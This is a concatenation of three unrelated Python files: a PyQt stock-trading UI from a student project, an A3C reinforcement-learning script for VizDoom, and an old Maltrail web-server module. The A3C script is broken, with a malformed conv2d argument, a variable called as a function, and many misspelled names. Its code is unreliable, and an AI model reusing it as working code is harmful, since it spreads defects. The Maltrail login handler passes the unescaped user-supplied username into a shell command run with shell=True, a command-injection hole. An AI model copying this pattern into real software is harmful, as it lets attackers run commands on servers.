from order import OrderUI
from ui.ui_assets import resources
from matplot_qt import MyStaticMplCanvas, MyDynamicMplCanvas
import time
from numpy import exp, random, sqrt
from trade import RunStrategy
from manage_strategy import StrategyManager
class TradeProUI(QtWidgets.QMainWindow):
"""
@Description: Program designed as part of the requirement for MSF 597 at the Stuart School
of Business.
@Term: Spring 2020
@Student: Ariwoola Abdulroqeeb
"""
def __init__(self):
super(TradeProUI, self).__init__()
self.ui = uic.loadUi('ui' + os.sep + 'main.ui', self)
self.ui.connect_button.clicked.connect(self.start)
self.ui.disconnect_button.clicked.connect(self.stop)
self.init_tick_table()
self.ui.ticker_lineedit.returnPressed.connect(self.return_pressed_on_ticker)
self.ui.place_order.clicked.connect(self.place_order_clicked)
self.ui.tick_table.cellDoubleClicked.connect(self.tick_table_row_dbl_clicked)
self.ui.live_strategies.cellDoubleClicked.connect(self.strategy_table_row_dbl_clicked)
self.portfolio_chart = MyStaticMplCanvas(self.ui.main_widget, width=8.45, height=2.8, dpi=100)
self.tick_chart = MyStaticMplCanvas(self.ui.main_chart_widget, width = 12.6, height= 3.1, dpi=100)
self.ui.start_algos.clicked.connect(self.start_algo)
self._lock = threading.Lock()
self.freeze_charts = False
self.show()
def init_tick_table(self):
self.ui.tick_table.setColumnWidth(4, 100)
def return_pressed_on_ticker(self):
self.new_ticker = self.ui.ticker_lineedit.text().upper()
self.log("Ticker input: {}".format(self.new_ticker.upper()))
self.broker.streamPrice(self.new_ticker)
self.broker.requestContractDetails(self.new_ticker)
self.ui.ticker_lineedit.setText('')
def log(self, *args):
if not self.freeze_charts:
print(args)
for s in args:
self.ui.log_display.addItem(QtWidgets.QListWidgetItem("{} - {}".format(datetime.datetime.now().strftime("%Y%m%d %H:%M:%S"), s)))
def start(self):
try:
self.broker = TraderPro(self)
self.broker.connect(host, port, clientId=123)
self.thread = threading.Thread(target = self.broker.run)
self.thread.start()
self.ui.statusBar().showMessage('Broker is now running', 2000)
self.broker.load_strategies()
self.ui.connect_button.setEnabled(False)
self.ui.disconnect_button.setEnabled(True)
#self.thread_helper = ThreadHelper(self.broker)
except Exception as ex:
self.ui.statusBar().showMessage('Connection failed, is Traderstation launched yet? {}'.format(ex), 2000)
def stop(self):
self.broker.save_strategies()
if self.thread.is_alive():
self.broker.disconnect()
sys.exit()
self.ui.statusBar().showMessage('Broker is now shutdown', 2000)
self.ui.connect_button.setEnabled(True)
self.ui.disconnect_button.setEnabled(False)
def update_ui(self):
pass
def update_tick_table(self, row, column, value, align_center=True):
if not self.freeze_charts:
item = QtWidgets.QTableWidgetItem(value)
if align_center:
item.setTextAlignment(QtCore.Qt.AlignCenter)
current_value = self.ui.tick_table.itemAt(row, column).text()
print(current_value)
# try:
# if float(current_value) > float(value):
# item.setBackground(QtCore.Qt.red)
# except Exception as ex:
# print('Error: ', ex)
self.ui.tick_table.setItem(row, column, item)
self.ui.tick_table.viewport().update()
try: self.plot_stream()
except Exception as ex: print('Error plotting data: ', ex)
self.update_live_strategies_view()
def update_account_table(self, account_details):
if not self.freeze_charts:
_keys = sorted(list(account_details.keys()))
self.ui.account_details_view.setRowCount(0)
print('Update account table called')
for _key in _keys:
print('Updating: ', _key)
self.ui.account_details_view.insertRow(_keys.index(_key))
self.ui.account_details_view.setItem(_keys.index(_key), 0, self.make_table_widget_item(_key, False))
self.ui.account_details_view.setItem(_keys.index(_key), 1, self.make_table_widget_item(account_details.get(_key)))
self.ui.account_details_view.viewport().update()
def update_positions_table(self, _positions):
try:
if not self.freeze_charts:
self.ui.positions_details_view.setRowCount(0)
print(_positions)
positions = list(_positions.keys())
for position in positions:
self.ui.positions_details_view.insertRow(positions.index(position))
self.ui.positions_details_view.setItem(positions.index(position), 0, self.make_table_widget_item(_positions.get(position).get("SecType")))
self.ui.positions_details_view.setItem(positions.index(position), 1, self.make_table_widget_item(_positions.get(position).get("Symbol")))
self.ui.positions_details_view.setItem(positions.index(position), 2, self.make_table_widget_item(_positions.get(position).get("MarketValue")))
self.ui.positions_details_view.setItem(positions.index(position), 3, self.make_table_widget_item(_positions.get(position).get("Position")))
self.ui.positions_details_view.setItem(positions.index(position), 4, self.make_table_widget_item(_positions.get(position).get("AverageCost")))
self.ui.positions_details_view.setItem(positions.index(position), 5, self.make_table_widget_item(_positions.get(position).get("RealizedPNL")))
self.ui.positions_details_view.setItem(positions.index(position), 6, self.make_table_widget_item(_positions.get(position).get("UnrealizedPNL")))
self.ui.positions_details_view.viewport().update()
except Exception as ex:
print('Error updating position table: ', ex)
def update_open_orders_table(self, _open_orders):
try:
if not self.freeze_charts:
self.ui.open_orders_view.setRowCount(0)
print(_open_orders)
open_orders = list(_open_orders.keys())
for order in open_orders:
self.ui.open_orders_view.insertRow(open_orders.index(order))
self.ui.open_orders_view.setItem(open_orders.index(order), 0, self.make_table_widget_item(_open_orders.get(order).get("ticker")))
self.ui.open_orders_view.setItem(open_orders.index(order), 1, self.make_table_widget_item(_open_orders.get(order).get("action")))
self.ui.open_orders_view.setItem(open_orders.index(order), 2, self.make_table_widget_item(_open_orders.get(order).get("ordertype")))
self.ui.open_orders_view.setItem(open_orders.index(order), 3, self.make_table_widget_item(_open_orders.get(order).get("totalqty")))
self.ui.open_orders_view.setItem(open_orders.index(order), 4, self.make_table_widget_item(_open_orders.get(order).get("lmtprice")))
self.ui.open_orders_view.setItem(open_orders.index(order), 5, self.make_table_widget_item(_open_orders.get(order).get("strategy")))
self.ui.open_orders_view.viewport().update()
except Exception as ex:
print('Error updating open order table: ', ex)
def update_live_strategies_view(self):
try:
if not self.freeze_charts:
self.strategies = self.broker.strategies
self.ui.live_strategies.setRowCount(0)
#print(self.strategies)
_live_strategies = list(self.strategies.keys())
for strategy in _live_strategies:
row = _live_strategies.index(strategy)
this_strategy = self.strategies.get(strategy)
self.ui.live_strategies.insertRow(row)
self.ui.live_strategies.setItem(row, 0, self.make_table_widget_item(this_strategy.name, align_center=False))
self.ui.live_strategies.setItem(row, 1, self.make_table_widget_item(this_strategy.strategy_type, align_center=True))
self.ui.live_strategies.setItem(row, 2, self.make_table_widget_item(this_strategy.symbol, align_center=True))
self.ui.live_strategies.setItem(row, 3, self.make_table_widget_item(states.get(this_strategy.position), align_center=True))
self.ui.live_strategies.setItem(row, 4, self.make_table_widget_item(this_strategy.pnl, align_center=True))
self.ui.live_strategies.setItem(row, 5, self.make_table_widget_item(this_strategy.trades, align_center=True))
state = 'Running ' if this_strategy.live else 'Stopped'
self.ui.live_strategies.setItem(row, 6, self.make_table_widget_item(state, align_center=True))
#self.ui.live_strategies.setCellWidget(row, 6, QtWidgets.QPushButton('Stop Strategy'))
self.ui.live_strategies.viewport().update()
except Exception as ex:
print('Error updating live strategies view')
def make_table_widget_item(self, text, align_center=True):
_item = QtWidgets.QTableWidgetItem(str(text))
if align_center:
_item.setTextAlignment(QtCore.Qt.AlignCenter)
return _item
def update_portfolio_hist_chart(self, port_history):
if not self.freeze_charts:
self.portfolio_chart.t = list(port_history.keys())
self.portfolio_chart.s = list(port_history.values())
self.portfolio_chart.plot_new_data()
def place_order_clicked(self):
self.freeze_charts = True
order_ui = OrderUI(self.broker)
def start_algo(self):
self.freeze_charts = True
_run_strategy = RunStrategy(self.broker)
def open_place_order_thread(self):
order_ui = OrderUI(self.broker)
def tick_table_row_dbl_clicked(self, row, column):
print(row, column)
print(self.ui.tick_table.item(row, 0).text(), ' clicked')
self._ticker = self.ui.tick_table.item(row, 0).text()
self.plot_stream()
def plot_stream(self):
if not self.freeze_charts:
_price_stream = self.broker.prices_history.prices_history.get(self._ticker)
if not None:
self.tick_chart.t = list(_price_stream.keys())
self.tick_chart.s = list(_price_stream.values())
self.tick_chart.plot_new_data()
def closeEvent(self, event):
reply = QtWidgets.QMessageBox.question(self, 'Window Close', 'Are you sure you want to close the window?',
QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No)
if reply == QtWidgets.QMessageBox.Yes:
event.accept()
print('Window closed')
else:
event.ignore()
def strategy_table_row_dbl_clicked(self, row, column):
print(row, column)
strategy_name = self.ui.live_strategies.item(row, 0).text()
strategy = self.broker.strategies.get(strategy_name)
if strategy: self.strategy_window = StrategyManager(strategy)
self.update_live_strategies_view()
class ThreadHelper():
def __init__(self, broker):
self.broker = broker
self.order_ui = OrderUI(self.broker)
self.run_strategy = RunStrategy(self.broker)
def place_order(self):
self.order_ui.show()
def run_new_strategy(self):
self.run_new_strategy.show()
if __name__ == '__main__':
app = QtWidgets.QApplication(sys.argv)
app.setStyle('Fusion')
window = TradeProUI()
sys.exit(app.exec_())
|
a3c.py | # sources: https://medium.com/emergent-future/simple-reinforcement-learning-with-tensorflow-part-8-asynchronous-actor-critic-agents-a3c-c88f72a5e9f2
# https://jaromiru.com/2017/03/26/lets-make-an-a3c-implementation/
# https://github.com/openai/universe-starter-agent
'''
A3C ALGORITHM
Global network: input (s) --> network --> pi(s), v(s)
Agent instances
Asynchronous: multiple agents with independent copies of environment --> uncorrelated experiences
Actor-critic: V(s), pi(s)
Advantage: A = R - V(s)
'''
import threading
import multiprocessing
import numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf
import tensorflow.contrib.slim as slim
import scipy.signal
from a3c_helper import *
from vizdoom import *
class AC_Network():
def __init__(self, s_size, a_size, scope, trainer):
with tf.variable_scope(scope):
# input layer
self.inputs = tf.placeholder(shape=[None,s_size], dtype=tf.float32)
self.imageIn = tf.reshape(self.inputs,shape=[-1,84,81,1])
self.conv1 = slim.conv2d(activation_fn=tf.nn.elu, inputs=self.imageIn, num_outputs = 16, kernel_size=[8,8],stride=[4,4],stride=2,2],padding='VALID')
self.conv2 = slim.conv2d(activation_fn = tf.nn.elu,inputs=self.conv1,num_outputs=32,kernel_size=[4,4],stride=[2,2],padding='VALID')
hidden = slim.fully_connected(slim.flatten(self.conv2),256,activation_fn=tf.nn.elu)
# RNN for temporal dependencies
# more on LSTMs: http://colah.github.io/posts/2015-08-Understanding-LSTMs/
lstm_cell = tf.contrib.rnn.BasicLSTMCell(256,state_is_tuple=True)
c_init = np.zeros((1,lstm_cell.state_size.c),np.float32)
h_init = np.zeros((1,lstm_cell.state_size.h),np.float32)
self.state_init = [c_init, h_init]
c_in = tf.placeholder(tf.float32, [1,lstm_cell.state_size.c])
h_in = tf.placeholder(tf.float32,[1,lstm_cell.state_size.h])
self.state_in = (c_in, h_in) #state is tuple
rnn_in = tf.expand_dims(hidden,[0]) #inserts a dimension of 1 at dimension index 0
step_size = tf.shape(self.imageIn)[:1]
state_in = tf.contrib.rnn.LSTMStateTuple(c_in, h_in)
lstm_outputs, lstm_state = tf.nn.dynamic_rnn(lstm_cell, rnn_in, initial_state = state_in, sequence_length = step_size, time_major = False)
lstm_c, lstm_h = lstm_state
self.state_out = (lstm_c[:1, :], lstm_h[:1, :])
rnn_out = tf.reshape(lstm_outputs, [-1, 256])
# policy and value network outputs
self.policy = slim.fully_connected(rnn_out, a_size, activation_fn = tf.nn.softmax, weights_initializer=normalized_columns_initializer(0.01))
self.value = slim.fully_connected(rnn_out,1,activation_fun=None,weights_initializer=normalized_columns_initializer(1.0),biases_initializer=None)
#Only the worker network need ops for loss functions and gradient updating.
if scope != 'global':
self.actions = tf.placeholder(shape=[None],dtype=tf.int32)
self.actions_onehot = tf.one_hot(self.actions,a_size,dtype=tf.float32)
self.target_v = tf.placeholder(shape=[None],dtype=tf.float32)
self.advantages = tf.placeholder(shape=[None],dtype=tf.float32)
self.responsible_outputs = tf.reduce_sum(self.policy * self.actions_onehot, [1])
#Loss functions
self.value_loss = 0.5 * tf.reduce_sum(tf.square(self.target_v - tf.reshape(self.value,[-1])))
self.entropy = - tf.reduce_sum(self.policy * tf.log(self.policy))
self.policy_loss = -tf.reduce_sum(tf.log(self.responsible_outputs)*self.advantages)
self.loss = 0.5 * self.value_loss + self.policy_loss - self.entropy * 0.01
#Get gradients from local network using local losses
local_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope)
self.gradients = tf.gradients(self.loss,local_vars)
self.var_norms = tf.global_norm(local_vars)
grads,self.grad_norms = tf.clip_by_global_norm(self.gradients,40.0)
#Apply local gradients to global network
global_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, 'global')
self.apply_grads = trainer.apply_gradients(zip(grads,global_vars))
class Worker():
def __init__(self, game, name, s_size, a_size, trainer, model_path, global_episodes):
self.name = "worker_" + str(name)
self.number = name
self.model_path = model_path
self.trainer = trainer
self.global_episodes = global_episodes
self.increment = self.gobal_episodes.assign_add(1)
self.episode_rewards = []
self.episode_lenghts = []
self.episode_mean_values = []
self.summary_writer = tf.summary.FileWriter("train_" + str.self.number))
# creaate local copy of network
self.local_AC = AC_Network(s_size, a_size, self.name, trainer)
self.update_local_ops = update_target_graph('global', self.name)
# set up DOOM
game.set_doom_scenario_path("basaic.wad")
game.set_screen_resolution(ScreenResolution.RES_160X120)
game.set_render_hud(False)
game.set_render_weapon(True)
game.set_render_decals(False)
game.set_render_particles(False)
game.add_available_button(Button.MOVE_LEFT)
game.add_available_button(Button.MOVE_RIGHT)
game.add_available_button(Button.ATTACK)
game.add_available_game_variable(GameVariable.AMMO2)
game.add_available_game_variable(GameVariable.POSITION_X)
game.add_available_game_variable(GameVariable.POSITION_Y)
game.set_episode_timeout(300)
game.set_episode_start_time(10)
game.set_window_visible(False)
game.set_sound_enabled(False)
game.set_living_reward(-1)
game.set_mode(Mode.PLAYER)
game.init()
self.actions = self.actions = np.identity(a_size,dtype=bool).tolist()
self.env = game
def train(self,rollout,sess,gamma,bootstrap_value):
rollout = np.array(rollout)
observations = rollout[:,0]
actions = rollout[:,1]
rewards = rollout[:,2]
next_observations = rollout[:,3]
values = rollout[:,5]
# calculate advantage & discounted returns from rollout
self.rewards_plus = np.asarray(rewards.tolist() + [bootstrap_value])
discounted_rewards = discount(self.rewards_plus, gamma)[:-1]
self.value_plus = np.asarray(values.tolist() + [bootstrap_value])
advantages = rewards + gamma(self.value_plus[1:] - self.value_plus[:-1])
advantages = discount(advantages, gamma)
# update global network with gradients
rnn_state = self.local_AC.state_init
feed_dict = {self.local_AC.taarget_v: discounted_rewards, self.local_AC.inputs:np.vstack(observations), self.local_AC.advantages:advantages, self.local_AC.state_in[0]:rnn_state[0], self.local_AC.state_in[1]:rnn_state[1]}
v_l, p_l, e_l, g_n, v_n = sess.run([self.local_AC.value_loss, self.local_AC.policy_loss, self.local_AC.entropy, self.local_AC.grad_norms, self.local_AC.var_norms, self.local_AAC.apply_grads], feed_dict = feed_dict)
return v_l / len(rollout), p_1 / len(rollout), e_l / len(rollout), g_n, v_n
def work(self, max_episode_length, gamma, sess, coord, saver):
# plays in the environment
episode_count = sess.run(self.global_episodes)
total_steps = 0
print ("starting worker " + str(self.number))
with sess.as_default(), sess.graph.as_default():
while not coord.should_stop():
sess.run(self.update_local_ops)
episode_buffer = []
episode_values = []
episode_frames = []
episode_reward = 0
episode_step_count = 0
d = False
self.env.new_episode()
s = self.env.get_state().screen_buffer
episode_frames.append(s)
s = process_frame(s)
rnn_state = self.local_AC.state_init
while self.env.is_episode_finished() == False:
a_dist,v,rnn_state = sess.run([self.local_AC.policy,self.local_AC.value,self.local_AC.state_out], feed_dict={self.local_AC.inputs:[s], self.local_AC.state_in[0]:rnn_state[0], self.local_AC.state_in[1]:rnn_state[1]})
# choose action from policy network output
a = np.random.choice(a_dist[0],p=a_dist[0])
a = np.argmax(a_dist == a)
r = self.env.make_action(self.actions[a]) / 100.0
d = self.env.is_episode_finished()
if d == False:
s1 = self.env.get_state().screen_buffer
episode_frames.append(s1)
s1 = process_frame(s1)
else:
s1 = s
episode_buffer.append([s,a,r,s1,d,v[0,0]])
episode_values.append(v[0,0])
episode_reward += r
s = s1
total_steps += 1
episode_step_count += 1
# if experience buffer is full, make an updaate using that experience rollout
# final return is unknown, so bootstrap from current value estimation
if len(episode_buffer) == 30 and d != True and episode_step_count != max_episode_length -1:
v1 = sess.run(self.local_AC.value, feed_dict={self.local_AC.inputs:[s], self.local_AC.state_in[0]:rnn_state[0], self.local_AC.state_in[1]:rnn_state[1]})[0,0]
v_l,p_l,e_l,g_n,v_n = self.train(episode_buffer,sess,gamma,v1)
episode_buffer = []
sess.run(self.update_local_ops)
if d == True:
break
self.episode_rewards.append(episode_reward)
self.episode_lengths.append(episode_step_count)
self.episode_mean_values.append(np.mean(episode_values))
# update network using experience buffer at end of episode
if len(episode_buffer) != 0:
v_l,p_l,e_l,g_n,v_n = self.train(episode_buffer,sess,gamma,0.0)
# bookkeeping: save gifs of episodes, model params, and summary stats
if episode_count % 5 == 0 and episode_count != 0:
if self.name == 'worker_0' and episode_count % 25 == 0:
time_per_step = 0.05
images = np.array(episode_frames)
make_gif(images,'./frames/image'+str(episode_count)+'.gif',
duration=len(images)*time_per_step,true_image=True,salience=False)
if episode_count % 250 == 0 and self.name == 'worker_0':
saver.save(sess,self.model_path+'/model-'+str(episode_count)+'.cptk')
print ("Saved Model")
mean_reward = np.mean(self.episode_rewards[-5:])
mean_length = np.mean(self.episode_lengths[-5:])
mean_value = np.mean(self.episode_mean_values[-5:])
summary = tf.Summary()
summary.value.add(tag='Perf/Reward', simple_value=float(mean_reward))
summary.value.add(tag='Perf/Length', simple_value=float(mean_length))
summary.value.add(tag='Perf/Value', simple_value=float(mean_value))
summary.value.add(tag='Losses/Value Loss', simple_value=float(v_l))
summary.value.add(tag='Losses/Policy Loss', simple_value=float(p_l))
summary.value.add(tag='Losses/Entropy', simple_value=float(e_l))
summary.value.add(tag='Losses/Grad Norm', simple_value=float(g_n))
summary.value.add(tag='Losses/Var Norm', simple_value=float(v_n))
self.summary_writer.add_summary(summary, episode_count)
self.summary_writer.flush()
if self.name == 'worker_0':
sess.run(self.increment)
episode_count += 1
max_episode_length = 300
gamma = .99 # discount rate for advantage estimation and reward discounting
s_size = 7056 # Observations are greyscale frames of 84 * 84 * 1
a_size = 3 # Agent can move Left, Right, or Fire
load_model = False
model_path = './model'
tf.reset_default_graph()
if not os.path.exists(model_path):
os.makedirs(model_path)
#Create a directory to save episode playback gifs to
if not os.path.exists('./frames'):
os.makedirs('./frames')
with tf.device("/cpu:0"):
global_episodes = tf.Variable(0,dtype=tf.int32,name='global_episodes',trainable=False)
trainer = tf.train.AdamOptimizer(learning_rate=1e-4)
master_network = AC_Network(s_size,a_size,'global',None) # Generate global network
num_workers = multiprocessing.cpu_count() # Set workers ot number of available CPU threads
workers = []
# Create worker classes
for i in range(num_workers):
workers.append(Worker(DoomGame(),i,s_size,a_size,trainer,model_path,global_episodes))
saver = tf.train.Saver(max_to_keep=5)
with tf.Session() as sess:
coord = tf.train.Coordinator()
if load_model == True:
print ('Loading Model...')
ckpt = tf.train.get_checkpoint_state(model_path)
saver.restore(sess,ckpt.model_checkpoint_path)
else:
sess.run(tf.global_variables_initializer())
# This is where the asynchronous magic happens.
# Start the "work" process for each worker in a separate threat.
worker_threads = []
for worker in workers:
worker_work = lambda: worker.work(max_episode_length,gamma,sess,coord,saver)
t = threading.Thread(target=(worker_work))
t.start()
sleep(0.5)
worker_threads.append(t)
coord.join(worker_threads)
|
httpd.py | #!/usr/bin/env python2
"""
Copyright (c) 2014-2019 Maltrail developers (https://github.com/stamparm/maltrail/)
See the file 'LICENSE' for copying permission
"""
import BaseHTTPServer
import cStringIO
import datetime
import httplib
import glob
import gzip
import hashlib
import io
import json
import mimetypes
import os
import re
import socket
import SocketServer
import subprocess
import threading
import time
import traceback
import urllib
import urlparse
from core.addr import addr_to_int
from core.addr import int_to_addr
from core.addr import make_mask
from core.attribdict import AttribDict
from core.common import get_regex
from core.common import ipcat_lookup
from core.common import worst_asns
from core.enums import HTTP_HEADER
from core.settings import config
from core.settings import CONTENT_EXTENSIONS_EXCLUSIONS
from core.settings import DATE_FORMAT
from core.settings import DISABLED_CONTENT_EXTENSIONS
from core.settings import DISPOSED_NONCES
from core.settings import HTML_DIR
from core.settings import HTTP_TIME_FORMAT
from core.settings import MAX_NOFILE
from core.settings import NAME
from core.settings import PING_RESPONSE
from core.settings import SERVER_HEADER
from core.settings import SESSION_COOKIE_NAME
from core.settings import SESSION_COOKIE_FLAG_SAMESITE
from core.settings import SESSION_EXPIRATION_HOURS
from core.settings import SESSION_ID_LENGTH
from core.settings import SESSIONS
from core.settings import TRAILS_FILE
from core.settings import UNAUTHORIZED_SLEEP_TIME
from core.settings import VERSION
try:
# Reference: https://bugs.python.org/issue7980
# Reference: http://code-trick.com/python-bug-attribute-error-_strptime/
import _strptime
except ImportError:
pass
try:
import resource
resource.setrlimit(resource.RLIMIT_NOFILE, (MAX_NOFILE, MAX_NOFILE))
except:
pass
def start_httpd(address=None, port=None, join=False, pem=None):
"""
Starts HTTP server
"""
class ThreadingServer(SocketServer.ThreadingMixIn, BaseHTTPServer.HTTPServer):
def server_bind(self):
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
BaseHTTPServer.HTTPServer.server_bind(self)
def finish_request(self, *args, **kwargs):
try:
BaseHTTPServer.HTTPServer.finish_request(self, *args, **kwargs)
except:
if config.SHOW_DEBUG:
traceback.print_exc()
class SSLThreadingServer(ThreadingServer):
def __init__(self, server_address, pem, HandlerClass):
import OpenSSL # python-openssl
ThreadingServer.__init__(self, server_address, HandlerClass)
ctx = OpenSSL.SSL.Context(OpenSSL.SSL.TLSv1_METHOD)
ctx.use_privatekey_file(pem)
ctx.use_certificate_file(pem)
self.socket = OpenSSL.SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
self.server_bind()
self.server_activate()
def shutdown_request(self, request):
try:
request.shutdown()
except:
if config.SHOW_DEBUG:
traceback.print_exc()
class ReqHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "")
params = {}
content = None
skip = False
if hasattr(self, "data"):
params.update(urlparse.parse_qs(self.data))
if query:
params.update(urlparse.parse_qs(query))
for key in params:
if params[key]:
params[key] = params[key][-1]
if path == '/':
path = "index.html"
path = path.strip('/')
extension = os.path.splitext(path)[-1].lower()
if hasattr(self, "_%s" % path):
content = getattr(self, "_%s" % path)(params)
else:
path = path.replace('/', os.path.sep)
path = os.path.abspath(os.path.join(HTML_DIR, path)).strip()
if not os.path.isfile(path) and os.path.isfile("%s.html" % path):
path = "%s.html" % path
if any((config.IP_ALIASES,)) and self.path.split('?')[0] == "/js/main.js":
content = open(path, "rb").read()
content = re.sub(r"\bvar IP_ALIASES =.+", "var IP_ALIASES = {%s};" % ", ".join('"%s": "%s"' % (_.split(':', 1)[0].strip(), _.split(':', 1)[-1].strip()) for _ in config.IP_ALIASES), content)
self.send_response(httplib.OK)
elif ".." not in os.path.relpath(path, HTML_DIR) and os.path.isfile(path) and (extension not in DISABLED_CONTENT_EXTENSIONS or os.path.split(path)[-1] in CONTENT_EXTENSIONS_EXCLUSIONS):
mtime = time.gmtime(os.path.getmtime(path))
if_modified_since = self.headers.get(HTTP_HEADER.IF_MODIFIED_SINCE)
if if_modified_since and extension not in (".htm", ".html"):
if_modified_since = [_ for _ in if_modified_since.split(';') if _.upper().endswith("GMT")][0]
if time.mktime(mtime) <= time.mktime(time.strptime(if_modified_since, HTTP_TIME_FORMAT)):
self.send_response(httplib.NOT_MODIFIED)
self.send_header(HTTP_HEADER.CONNECTION, "close")
skip = True
if not skip:
content = open(path, "rb").read()
last_modified = time.strftime(HTTP_TIME_FORMAT, mtime)
self.send_response(httplib.OK)
self.send_header(HTTP_HEADER.CONNECTION, "close")
self.send_header(HTTP_HEADER.CONTENT_TYPE, mimetypes.guess_type(path)[0] or "application/octet-stream")
self.send_header(HTTP_HEADER.LAST_MODIFIED, last_modified)
self.send_header(HTTP_HEADER.CONTENT_SECURITY_POLICY, "default-src 'none'; style-src 'self' 'unsafe-inline'; img-src 'self'; " +
"script-src 'self' 'unsafe-eval' https://stat.ripe.net; connect-src 'self'; form-action 'self'; " +
"font-src 'self'; frame-src *; worker-src 'self'; block-all-mixed-content;")
if extension not in (".htm", ".html"):
self.send_header(HTTP_HEADER.EXPIRES, "Sun, 17-Jan-2038 19:14:07 GMT") # Reference: http://blog.httpwatch.com/2007/12/10/two-simple-rules-for-http-caching/
self.send_header(HTTP_HEADER.CACHE_CONTROL, "max-age=3600, must-revalidate") # Reference: http://stackoverflow.com/a/5084555
else:
self.send_header(HTTP_HEADER.CACHE_CONTROL, "no-cache")
else:
self.send_response(httplib.NOT_FOUND)
self.send_header(HTTP_HEADER.CONNECTION, "close")
content = '<!DOCTYPE html><html lang="en"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL %s was not found on this server.</p></body></html>' % self.path.split('?')[0]
if content is not None:
for match in re.finditer(r"<\!(\w+)\!>", content):
name = match.group(1)
_ = getattr(self, "_%s" % name.lower(), None)
if _:
content = self._format(content, **{ name: _() })
if "gzip" in self.headers.getheader(HTTP_HEADER.ACCEPT_ENCODING, ""):
self.send_header(HTTP_HEADER.CONTENT_ENCODING, "gzip")
_ = cStringIO.StringIO()
compress = gzip.GzipFile("", "w+b", 9, _)
compress._stream = _
compress.write(content)
compress.flush()
compress.close()
content = compress._stream.getvalue()
self.send_header(HTTP_HEADER.CONTENT_LENGTH, str(len(content)))
self.end_headers()
if content:
self.wfile.write(content)
self.wfile.flush()
self.wfile.close()
def do_POST(self):
length = self.headers.getheader(HTTP_HEADER.CONTENT_LENGTH)
data = self.rfile.read(int(length))
data = urllib.unquote_plus(data)
self.data = data
self.do_GET()
def get_session(self):
retval = None
cookie = self.headers.get(HTTP_HEADER.COOKIE)
if cookie:
match = re.search(r"%s\s*=\s*([^;]+)" % SESSION_COOKIE_NAME, cookie)
if match:
session = match.group(1)
if session in SESSIONS:
if SESSIONS[session].client_ip != self.client_address[0]:
pass
elif SESSIONS[session].expiration > time.time():
retval = SESSIONS[session]
else:
del SESSIONS[session]
return retval
def delete_session(self):
cookie = self.headers.get(HTTP_HEADER.COOKIE)
if cookie:
match = re.search(r"%s=(.+)" % SESSION_COOKIE_NAME, cookie)
if match:
session = match.group(1)
if session in SESSIONS:
del SESSIONS[session]
def version_string(self):
return SERVER_HEADER
def end_headers(self):
if not hasattr(self, "_headers_ended"):
BaseHTTPServer.BaseHTTPRequestHandler.end_headers(self)
self._headers_ended = True
def log_message(self, format, *args):
return
def finish(self):
try:
BaseHTTPServer.BaseHTTPRequestHandler.finish(self)
except:
if config.SHOW_DEBUG:
traceback.print_exc()
def _version(self):
return VERSION
def _format(self, content, **params):
if content:
for key, value in params.items():
content = content.replace("<!%s!>" % key, value)
return content
def _login(self, params):
valid = False
if params.get("username") and params.get("hash") and params.get("nonce"):
if params.get("nonce") not in DISPOSED_NONCES:
DISPOSED_NONCES.add(params.get("nonce"))
for entry in (config.USERS or []):
entry = re.sub(r"\s", "", entry)
username, stored_hash, uid, netfilter = entry.split(':')
if username == params.get("username"):
try:
if params.get("hash") == hashlib.sha256(stored_hash.strip() + params.get("nonce")).hexdigest():
valid = True
break
except:
if config.SHOW_DEBUG:
traceback.print_exc()
if valid:
session_id = os.urandom(SESSION_ID_LENGTH).encode("hex")
expiration = time.time() + 3600 * SESSION_EXPIRATION_HOURS
self.send_response(httplib.OK)
self.send_header(HTTP_HEADER.CONNECTION, "close")
cookie = "%s=%s; expires=%s; path=/; HttpOnly" % (SESSION_COOKIE_NAME, session_id, time.strftime(HTTP_TIME_FORMAT, time.gmtime(expiration)))
if config.USE_SSL:
cookie += "; Secure"
if SESSION_COOKIE_FLAG_SAMESITE:
cookie += "; SameSite=strict"
self.send_header(HTTP_HEADER.SET_COOKIE, cookie)
if netfilter in ("", '*', "::", "0.0.0.0/0"):
netfilters = None
else:
addresses = set()
netmasks = set()
for item in set(re.split(r"[;,]", netfilter)):
item = item.strip()
if '/' in item:
_ = item.split('/')[-1]
if _.isdigit() and int(_) >= 16:
lower = addr_to_int(item.split('/')[0])
mask = make_mask(int(_))
upper = lower | (0xffffffff ^ mask)
while lower <= upper:
addresses.add(int_to_addr(lower))
lower += 1
else:
netmasks.add(item)
elif '-' in item:
_ = item.split('-')
lower, upper = addr_to_int(_[0]), addr_to_int(_[1])
while lower <= upper:
addresses.add(int_to_addr(lower))
lower += 1
elif re.search(r"\d+\.\d+\.\d+\.\d+", item):
addresses.add(item)
netfilters = netmasks
if addresses:
netfilters.add(get_regex(addresses))
SESSIONS[session_id] = AttribDict({"username": username, "uid": uid, "netfilters": netfilters, "expiration": expiration, "client_ip": self.client_address[0]})
else:
time.sleep(UNAUTHORIZED_SLEEP_TIME)
self.send_response(httplib.UNAUTHORIZED)
self.send_header(HTTP_HEADER.CONNECTION, "close")
self.send_header(HTTP_HEADER.CONTENT_TYPE, "text/plain")
content = "Login %s" % ("success" if valid else "failed")
if not subprocess.mswindows:
try:
subprocess.check_output("logger -p auth.info -t \"%s[%d]\" \"%s password for %s from %s port %s\"" % (NAME.lower(), os.getpid(), "Accepted" if valid else "Failed", params.get("username"), self.client_address[0], self.client_address[1]), stderr=subprocess.STDOUT, shell=True)
except Exception:
if config.SHOW_DEBUG:
traceback.print_exc()
return content
def _logout(self, params):
self.delete_session()
self.send_response(httplib.FOUND)
self.send_header(HTTP_HEADER.CONNECTION, "close")
self.send_header(HTTP_HEADER.LOCATION, "/")
def _whoami(self, params):
session = self.get_session()
username = session.username if session else ""
self.send_response(httplib.OK)
self.send_header(HTTP_HEADER.CONNECTION, "close")
self.send_header(HTTP_HEADER.CONTENT_TYPE, "text/plain")
return username
def _check_ip(self, params):
session = self.get_session()
if session is None:
self.send_response(httplib.UNAUTHORIZED)
self.send_header(HTTP_HEADER.CONNECTION, "close")
return None
self.send_response(httplib.OK)
